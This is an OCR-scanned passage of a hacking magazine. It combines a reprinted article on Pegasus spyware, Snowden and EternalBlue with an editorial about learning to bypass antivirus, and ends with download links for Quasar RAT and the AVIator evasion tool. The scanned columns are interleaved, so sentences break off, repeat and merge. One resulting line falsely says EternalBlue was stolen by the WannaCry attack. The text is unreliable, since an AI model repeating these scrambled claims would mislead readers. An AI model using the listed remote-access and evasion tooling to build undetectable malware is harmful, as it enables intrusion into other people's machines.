lesser snooping tools, sold for as little as \$70 $(\pounds 51)$ on the dark web, which can remotely access webcams, log computer keystrokes and harvest location data. The use of such spyware by stal -kers and abusive partners is a growing, concern -ing issue.

Then of course there's the global surveillance organisations to their knees. estate that Edward Snowden lifted the curtain on in 2013. His leaks revealed how surveillance tool -s were being used to amass a volume of citizens' personal data that seemed to go well beyond the brief of the intelligence agencies using them.

elite programmers at the US National Security Agency had developed an advanced cyberespionage weapon called Eternal Blue, only for it to be stolen by the infamous 2017 Wannacry ransomware attack, which targeted the NHS and hundreds of other organisations.

When the Snowden leaks were published, many were shocked to learn of the scale of surve illance that digital technologies had enabled. But this mass spying was at least developed and conducted within state intelligence agencies, who had some legitimacy as agents of espionage.

We're no longer debating the right of the

state to violate our own rights to privacy. The Pegasus revelations show we've arrived in a new , uncomfortable reality where highly sophisticate At the base of the spyware industry are the -d spyware tools are sold on an open market. To be under no illusion, we're referring here to an industry of for-profit malware developers creatin -g and selling the same types of tools - and some times the very same tools – used by "bad hackers" to bring businesses and government

In the wake of the Pegasus revelations, Edward Snowden has called for an international spyware ban, stating that we're moving towards a world where no device is safe. That will certai-In 2017, we also learned how a secret team of nly be the case if Pegasus meets the same fate as Eternal Blue, with its source code finding its way onto the dark web for use by criminal hackers.

d Eternal Blue, only for In the wake of the Pegasus revelations, "We need to work together to end unlawful Edward Snowden has hacker collective Shadowtargeted surveillnce. As Snowden said, we called for an internatio-Brokers and sold on the dark web. *need to chang the game*." nal spyware ban, stating that It was this spyware that would later - Amnesty International here no device is safe. That will certainly be the case if Pegasus meets the same fate as Eternal Blue, with its source code finding its way onto the dark web for use by criminal hackers.

> The Article first appeared in The Coversation.

Follow Hackercool Magazine For Latest Updates

f in 0

The Day I was most disappointed. OUR STORY

I have waited for this day for a long time. Just like many of you, I was also interested in learnin -g hacking about a decade ago.

After lot of brainstorming and research, I saw it good to take a course of Ethical Hacking to ac- questions were racing thru my mind. The most hieve my goal. I had one apprehension though. The courses were expensive but of short duratio -n. Will I be able to learn hacking so fast?

Having no other way to achieve my goal, I took the jump. After teaching about some basics like OSI model, Data link layer, TCP handshake etc , my favorite topic (almost every aspiring hacker's favorite topic) came.

System Hacking. The target was Windows XP and attacker system Backtrack. The selection of target itself disappointed me. Windows 8 was rel -eased by then and Windows 7 was still the most popular Windows operating system.

To further increase burden on my disappointment, Firewall was turned off and Antivirus disabled on the target system. I made my objecti -on clear to my Trainer.

The Trainer had logical explanations for my objections. The first demo will be on XP and the -n we will move to attacks on other OS like 7

and 8. He gave similar logic for disabling Anti virus and Firewall and said ms08_067 exploit do -esn't run in presence of AV.

Although, I was silenced outside, many important of them was how to ask my victim to disable Av and Firewall while attacking. Every basic user used Anti Virus back then.

The course time finished before the time for moving to attacking latest Windows Os'es came.

Not willing to give up the passion of hacking, I started my own research. For first year, I felt Ethical hacking was just a farce and bypassing AV was a myth and none of the exploits would work in presence of AV.

Thankfully, I still continued my research and very soon I delved into a different dimension of hacking where there were malware undetectable by almost all antiviruses, where attackers convinced their victims to become victims by their own choice etc

Our Hackercool Magazine is the product my research of many years. Our Magazine teaches Real World Ethical Hacking i.e how hacking works in Real World.

DOWNLOADS

1. Quasar RAT : https://github.com/quasar/Quasar

> 2. EXIF Tool : https://exiftool.org/

3. Visual Studio : https://visualstudio.microsoft.com/

4. AV | ATOR : https://github.com/Ch0pin/AVIator